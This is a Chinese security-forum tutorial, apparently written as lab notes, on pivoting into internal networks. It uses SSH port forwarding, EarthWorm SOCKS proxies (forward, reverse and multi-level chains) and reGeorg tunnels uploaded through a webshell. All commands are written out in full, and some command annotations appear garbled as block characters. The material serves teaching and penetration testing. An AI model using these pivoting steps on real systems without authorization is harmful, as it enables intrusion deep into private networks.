
区分正向代理和反向代理

(自己的理解，可能有误)

A——B——C

A对C的请求，B作为代理，代替A去访问C，并将结果返回给A，则B是正向代理

B主动与A的8888端口建立连接，并将A:8888的访问转为对C:80的访问，结果返回给A，则B是反向代理

反向代理的好处：当AB之间有防火墙，不允许A连B，但是允许B连A

开始实验

A(root@192.168.168.1) (kali，具有完备的攻击环境)

B(msfadmin@192.168.168.2)

C(msfadmin@192.168.168.3)

实验一，利用ssh隧道，B作为正向代理，做动态端口转发

前提：知道B的ssh口令(常见于CTF的AWD中的渗透模式)

在A上运行

```
ssh -2 -D 2333 msfadmin@192.168.168.2
```

这条命令是将A本地的2333端口，与B的22端口建立socks连接，运行后需要输入B的ssh口令

测试，直接在A访问C的80端口，不过浏览器要侦听127.0.0.1:2333socks代理

测试，直接在A扫描C的所有端口，不过要调用proxychains，侦听127.0.0.1:2333

实验二，利用ssh隧道，B作为正向代理，进行单一的端口转发

A访问127.0.0.1:1111相当于访问C:80

A上运行

```
ssh -L 1111:192.168.168.3:80 msfadmin@192.168.168.2
```

A访问127.0.0.1:1111相当于访问192.168.168.3:80(C)，中间需要msfadmin@192.168.168.2(B)来帮忙转发，需要输入B的ssh账号密码

A访问127.0.0.1:2222 相当于访问C:22

A上运行

```
ssh -L 2222:192.168.168.3:22 msfadmin@192.168.168.2
```

A访问127.0.0.1:2222相当于访问192.168.168.3:22(C)，中间需要msfadmin@192.168.168.2(B)来帮忙转发，需要输入B的ssh账号密码

实验三 利用ssh隧道，B做反向代理，做单一的端口转发

A访问127.0.0.1:8888相当于访问C:80

先在A(kali)上生成ssh需要的host key

```
ssh-keygen -t rsa -f /etc/ssh/ssh_host_rsa_key
```

```
ssh-keygen -t dsa -f /etc/ssh/ssh_host_dsa_key
```

在B上运行

```
ssh -R 8888:192.168.168.3:80 root@192.168.168.1
```

B主动向A发起ssh连接，需要输入A的ssh账号口令

将来自(A)192.168.168.1:8888的请求，转化为对(C)192.168.168.3:80的请求，然后将结果通过ssh隧道，返回给A

A访问127.0.0.1:2222相当于访问C:22

在B上运行

```
ssh -R 2222:192.168.168.3:22 root@192.168.168.1
```

实验四，再多一级D(192.168.168.4)，在A上打D

在B上运行两条命令

```
ssh -R 8888:127.0.0.1:4444 root@192.168.168.1
```

```
B■■■■■■■■■■A:8888■■B:4444■■ssh■■■
```

```
ssh -2 -D 4444 msfadmin@192.168.168.3
```

```
B■■■■4444■■■■C■■ssh■■■■C■■■■■■■
```

现在A就能以127.0.0.1:8888为socks代理，去访问D了，甚至扫描D

如果你只获得一个webshell，并没有ssh口令

强烈推荐 EarthWorm

可以用ew来建立正向代理、反向代理、多级级联，非常强大

旧版，已够用 <http://rootkiter.com/EarthWorm/>

新版，更新中，侧重shell管理 <http://rootkiter.com/Termite/>

利用ew，将B作为正向代理

用菜刀上传ew.zip到B上，并移动到tmp目录下

用菜刀的虚拟终端在B上执行

```
unzip ew.zip
file /sbin/init (■■linux■■)
chmod 777 ew_for_Linux32
./ew_for_Linux32 -s ssocksd -l 2333 (■■0.0.0.0:2333)
netstat -pantup|grep 2333 (■■■■■■■■■■)
```

在A上以B为代理，访问C

利用ew，将B作为反向代理

在A上执行

```
chmod 777 ./ew_for_linux64
./ew_for_linux64 -s rcsocks -l 1080 -e 2333
```

```
A■■0.0.0.0:2333■■■■■■■■0.0.0.0:1080■■■
```

在B上执行

```
chmod 777 ew_for_Linux32
./ew_for_Linux32 -s rsocks -d 192.168.168.1 -e 2333
```

```
B■■■■A:2333■■■
```

此时以A的1080端口为代理，就能直接打C了，实际渗透中，192.168.168.1常是一台公网服务器，然后kali再去连接公网的1080端口，但我这里仍然是在kali下演示

使用完ew，记得杀掉进程，可以ps+kill查杀，也可以粗暴点，直接kill 0

利用ew进行多级代理搭建

B上运行

```
./ew_for_Linux32 -s rcsocks -l 1080 -e 2333
```

侦听0.0.0.0:2333，流量转发到0.0.0.0:1080

C上运行

```
./ew_for_Linux32 -s rsocks -d 192.168.168.2 -e 2333
```

C反向连接B:2333端口

这样A上以B 192.168.168.2:1080为socks代理，可以直接对D进行渗透

可以再加一级

达到以192.168.168.1:1080为socks代理，能对D进行渗透

沟通B和C

```
B■■■■
./ew_for_Linux32 -s rcsocks -l 1080 -e 2333
C■■■■
./ew_for_Linux32 -s rsocks -d 192.168.168.2 -e 2333

B■■0.0.0.0:2333■■■■■■■■0.0.0.0:1080■■
C■■■■B■■2333■■
```

沟通A和B

```
A■■■■
./ew_for_linux64 -s rcsocks -l 1080 -e 2333
B■■■■
./ew_for_Linux32 -s lcx_slave -d 192.168.168.1 -e 2333 -f 127.0.0.1 -g 1080

A■■0.0.0.0:2333■■■■■■■■0.0.0.0:1080■■
B■■■■A■■2333■■■■■■■■■■■■■■■■1080■■
```

reGeorg

<https://github.com/sensepost/reGeorg>
<https://sensepost.com/discover/tools/reGeorg/>
reGeorg利用webshell建立一个socks代理进行内网穿透，服务器必须支持aspx、php、jsp、js等web语言

菜刀连接192.168.168.2的webshell，上传tunnel.php和tunnel.nosocket.php到web根目录

在A(kali)上运行

```
python reGeorgSocksProxy.py -p 2333 http://192.168.168.2/tunnel.php
■■■■■■■
python reGeorgSocksProxy.py -p 2333 http://192.168.168.2/tunnel.nosocket.php
■■■■■■■
```

此时会利用192.168.168.2的web服务，与本机的kali的2333端口建立socks连接，现在就能在A上打C了

推荐一波文章

内网渗透随想 redrain写的
<http://www.anquan.us/static/drops/tips-5234.html>
内网渗透中转发工具总结
<http://www.anquan.us/static/drops/tools-15000.html>
【T00ls精华文】代理转发工具汇总分析
<https://mp.weixin.qq.com/s/heSvLuJtdPyJfsKJVIZEhw>
内网漫游之SOCKS代理大结局
<https://www.anquanke.com/post/id/85494>
ssh端口转发详解
<https://www.cnblogs.com/-chaos/archive/2013/10/19/3378564.html>
<http://blog.csdn.net/a351945755/article/details/21785647>
http://blog.csdn.net/qq_27446553/article/details/51981764

点击收藏 | 5 关注 | 2

[上一篇：Apache Tika 任意代码执...](#) [下一篇：聊聊CSRF漏洞攻防----久等的暴漫](#)

1. 6 条回复



[wooyun](#) 2017-12-28 16:34:59

可以可以，666

0 回复Ta



[三顿](#) 2017-12-28 17:21:25

可以可以，666

0 回复Ta



[chock](#) 2017-12-29 09:44:37

哈哈，内网渗透初期经常用，但是还是谢谢楼主的分享，讲的很好，收藏之！

0 回复Ta



[阿焱](#) 2017-12-29 13:37:38

[@check](#) 我也是被吊打后，才去网上学的，说到底还是前人的经验，只是通过实验归纳总结一下，方便初学者学习，我也是刚接触内网渗透，有机会多交流

0 回复Ta



[saviour2](#) 2017-12-29 14:27:15

不错 其实还有ICMP的端口转发 wind 下可以 powershell emiper等 知识定期整理过滤会发现新东西

0 回复Ta



[bendawang](#) 2017-12-31 15:55:35

个人感觉portfusion比ew更加稳定和轻量

0 回复Ta

[登录](#) 后跟帖

先知社区

[现在登录](#)

[热门节点](#)

[技术文章](#)

[社区小黑板](#)

[目录](#)

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)